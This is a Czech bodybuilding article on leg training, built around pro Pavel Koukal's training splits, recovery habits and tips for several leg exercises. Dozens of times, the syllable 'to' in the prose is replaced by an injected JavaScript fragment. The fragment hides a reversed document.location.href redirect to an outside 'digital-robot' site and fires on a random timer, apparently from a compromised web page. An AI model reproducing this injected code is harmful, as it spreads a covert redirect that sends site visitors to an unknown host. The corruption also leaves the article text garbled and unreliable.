Tréninky

NOHY JSOU ZÁKLAD

Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Josef Adlt

Trénink nohou rozděleně? Inspirujte se přístupem Pavla Koukala.

Jen málokterá svalová partie tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho o vaší formě prozradí tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolik jako právě nohy. A těžko byste hledali trénink, který vás při poctivém přístupu k věci tak odrovná.

Na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohle téma by většina úspěšných závodníků mohla mluvit dlouhé hodiny. Slyšeli byste příběhy o tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom, že vyjít po cvičení pár schodů bývá nadlidský výkon. Svalstvo nohou navíc rádo odolává i velmi intenzivní snaze o zlepšení. Přičemž hodně sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovců se dosaženou intenzitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou nedostane ani na minimální level efektivity. A pak logicky nemohou očekávat kvalitní výsledky. Žádný sval tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž neroste, pokud k tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu není adekvátně vyzván. Bez optimální stimulace pomocí kvalitního tréninku tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tedy nepůjde.

IFBB profesionál Pavel Koukal patří ke kulturistům, kteří si trénink nohou vysloveně užívají. Přitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom, když na střední škole první tři roky cvičil jen nepravidelně (cca dvakrát týdně) a o sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovní výživě neměl ani ponětí, nohy netrénoval vůbec. I protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dnes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohle období nepovažuje za svoje kulturistické začátky. „V době, když jsem na konci čtvrtého ročníku střední školy, začal opravu smysluplně cvičit, už jsem nohy v rámci splitu trénoval pravidelně,“ popisuje. Časem si trénink nohou víc a víc užíval. „Vlastně jsem už tenkrát nohám tak nějak nadržoval,“ říká. „Dával jsem si na nic hodně záležet, upřednostňoval je atd.“

Dnes patří procvičení nohou k jeho nejnáročnějším tréninkům, a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to jak po stránce fyzické, tak psychické. „Trénink nohou plánuji vždy pár dnů dopředu a pomalu se na něj v hlavě chystám. Je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pro mě docela důležité,“ vysvětluje Pavel, který už má doma tři medaile z profesionálních soutěží. Rozhodně nepatří ke kulturistům, řešícím až na poslední chvíli, co budou v daný den cvičit. A fakt, že nohy jsou jeho nejoblíbenější partií, ho předurčuje k tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu, aby právě díky nim vynikal.

SYSTÉM TRÉNINKU

Co se týče rozdělení partií, Pavel příliš nerozlišuje objemovou a předsoutěžní fázi. „Liší se počet dnů volna a množství tréninků v týdnu,“ říká. Jeho typický objemový split 2+1 vypadá následovně:

  1. den – nohy – kvadricepsy, lýtka
  2. den – prsa, biceps
  3. den – volno
  4. den – záda, triceps
  5. den – ramena, hamstringy
  6. den – volno

V dietě pak nejčastěji používá split 5+1, kdy rozdělí trénink ramen a hamstringů na samostatné tréninky a vše jede vkuse.

  1. den – prsa, biceps
  2. den – záda, břicho
  3. den – hamstringy, lýtka
  4. den – ramena, triceps
  5. den – kvadricepsy
  6. den – volno

Tréninky v objemu a v dietě se liší především svojí intenzitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou a ke konci přípravy i volbou cviků. Kardio zařazuje dle potřeby po tréninku.

Už přibližně dva roky Pavel cvičí kvadricepsy a hamstringy odděleně. Tentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to krok mu přinesl výrazné výsledky. „Z mého pohledu jde o dramatický rozdíl, možná ne z běžného kondičního cvičení ale spíše z kulturistického pohledu. Než jsem kvadricepsy a hamstringy rozdělil na dva samostatné tréninky, tak tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to nebylo ono. Vždy jsem odtrénoval jednu partii a cítil, že tu druhou následující už nezvládnu odcvičit na 100 %. Pořadí jsem pravidelně střídal, aby rozvoj nohou byl rovnoměrný. Efektu oddělených tréninků se mi ale ani tak nepodařilo dosáhnout.“

Kulturista, který usiluje o maximální svalový rozvoj nohou by si měl podle Pavla uvědomit, že kvadricepsy a hamstringy jsou dvě rozdílné partie. Že stejné úsilí, které věnujete kvadricepsům byste měli věnovat i hamstringům. „Jednoduše řečeno – znám spousty závodníků, kteří odjedou opravdu těžký trénink nohou, převážně kvadricepsů, na konci tréninku si dají 4 série zakopávání vleže a tím si myslí, že je hotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovo a že udělali pro rozvoj hamstringů maximum. Realita je ale jiná,“ uzavírá Pavel.

 

TRÉNINK NOHOU PODLE PAVLA KOUKALA

Konkrétní rozpis tréninku hledejte v SK 1/21 v článku na straně 30.

POTRÉNINKOVÁ REGENERACE

Když se Pavla zeptáte, podle čeho hodnotí dobře zvládnutý trénink nohou, dozvíte se: „Asi tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bude znít divně, ale že většinu času při něm strávím v leže na zemi. A další ukazatel je, když se mi ještě ten den podlomí kolena při běžné činnosti.“

Není divu, že se po tak náročném cvičení musí zaměřit na dostatečnou regeneraci. Tu zkvalitnil zejména v posledních sezónách, kdy začal dlouhodobě spolupracovat se sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovním masérem Davidem Mastalerzem, ke kterému chodí pravidelně 3x měsíčně a s nímž je maximálně spokojený. Pravidelně chodí taky do sauny a vířivky. A v neposlední řadě si zakoupil tzv. masážní pistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toli, kterou každý večer používá na partie rozbolavělé z tréninku. Masážní pistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tol spolu s rollerem je na uvolnění po těžkém tréninku nohou opravdu znát a podle Pavlových slov dokáže zázraky. Ztuhlý sval obtížně regeneruje a tímtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to způsobem se Pavel postará o dostatečnou relaxaci jednotlivých svalových skupin.

Dále si oblíbil jednu opravdu speciální metobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todu regenerace. Dvakrát až třikrát ročně si dopřeje cyklus pravidelných návštěv brněnské kryo komory Mráz léčí.

V ROLI TRENÉRA

Podobně jako většina trenérů má i Pavel zkušenosti s klienty, kteří se mu snaží namluvit, že oni chtějí cvičit hlavně paže a hrudník. „Takových jsem zažil už spoustu,“ vypráví. „Poslední dobou se začínám už jen culit, když se mi tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dotyčný snaží diplomaticky vysvětlit. Nechám ho domluvit a poté mu řeknu, že je třeba cvičit celé tělo – kvůli hormonální odezvě, metabolickému obratu a ostatním benefitům.“

„U jednoho zarytého padesátiletého cyklisty mi tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to trvalo měsíc. Po měsíci svolil, že vyzkoušíme trénink nohou. Po dalším půl roce mi děkoval, že si zvedl osobní rekordy a vylepšil časy na všech trasách, které pravidelně jezdí,“ vzpomíná Pavel a dodává, že se na tréninky se svými klienty vždy těší. „Doufám, že oni také,“ uzavírá s úsměvem.

 

PŘEDKOPÁVÁNÍ 

Bez ohledu na fázi tréninku začíná Pavel svůj trénink kvadricepsů vždy předkopáváním. Důvod je jednoduchý – krásně prokrví, zároveň i předvyčerpá svaly a prohřeje kolena. Snížíte tak riziko zranění během silovějšího tlakového cviku. „Cvik jeďte do selhání a využijte sparinga na vynucená opakování,“ radí Pavel, podle něhož má svoje kouzlo i poslední shazovaná série s přibližně 30-40 opakováními. Polohu špiček volte podle tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho, co vám více vyhovuje.

NEJČASTĚJŠÍ CHYBY

Ø Ukončení cviku před dosažením vyčerpání, předkopávání je bolestivé, svaly silně pálí, musíte být připraveni na jistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou míru nekomfortu.

Ø Zvedání hýždí z podložky v dolní fázi pohybu. Stroj si musíte správně nastavit, tétobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to chybě se vyhnout a plně se soustředit na procítění pracujících svalů.

 

MRTVÝ TAH 

„Mrtvý tah zařazuji do každého tréninku hamstringů – jak v objemu, tak v dietě,“ popisuje Pavel. Jako zkušený trenér moc dobře ví, že hamstringy vykonávají bud flexi v kolenou (zakopávání) nebo extenzi kyčle (rumunské mrtvé tahy). Pro dosažení maximálního rozvoje je vždy třeba v tréninku odjet oba druhy pohybu. Ačkoliv na snímku provádí cvik s velkou činkou, vysvětluje: „Mně nejvíce sedí rumunský mrtvý tah s jednoručkami, pak zvládnu krásně izolovat hamstringy, nezapojí se spodní bedra a cvik dobře procítím.“

TIP: nohy držte po celou dobu lehce pokrčené a pocitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tově tlačte váhu do pat.

 

DŘEPY S ČINKOU VPŘEDU

Tentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cvik patří k Pavlovým oblíbeným, osvědčil se mu zejména s ohledem na dysbalanci a problémy s bedry. „Když jsem začínal, nevěděl jsem nic o technice cviků, středu těla a dýchaní,“ zmiňuje dnes už zkušený sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovec příčiny nadměrného rozvoje beder. Tatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to partie se mu rychle překrví, přebírá napětí u cviků, u kterých byste tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ani nečekali, a bedra jsou pak vlastně stále lehce unavená. „Z tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to důvodu apeluji na všechny začátečníky, aby u základních cviků nepodcenili tytobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory a neudělali stejnou chybu jako já,“ říká Pavel. Dřepy s činkou vpředu jeho problém eliminují a on tak dokáže odjet všechny pracovní série s potřebnou váhou. Současně poukazuje na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, že rozdíl v zapojení/izolování kvadricepsů je oproti klasickým dřepům obrovský. „Pokud člověk dokáže zvládnout těžší techniku cviku, je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to opravdu znatelný pomocník při budovaní kvadricepsů,“ dodává.

TIP: při pohybu nahoru přeneste váhu na špičky, paty ale nezvedejte.

HACKEN DŘEP 

Pavlovu nejoblíbenější verzi hacken dřepů vidíte na snímku. Tentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cvik se snaží nejezdit jednotvárně. „S menší adekvátní váhou provádím opakování v částečném rozsahu, potobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom se zatínáním svalu. S vetší váhou pak jedu klasická silová opakování a s tím si vystačím,“ říká.

NEJČASTĚJŠÍ CHYBY

Ø Když v dolní fázi pohybu odlepujete záda od opěrky.

Ø Pohyb dolů není kontrolovaný, sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovec zátěž „pouští“.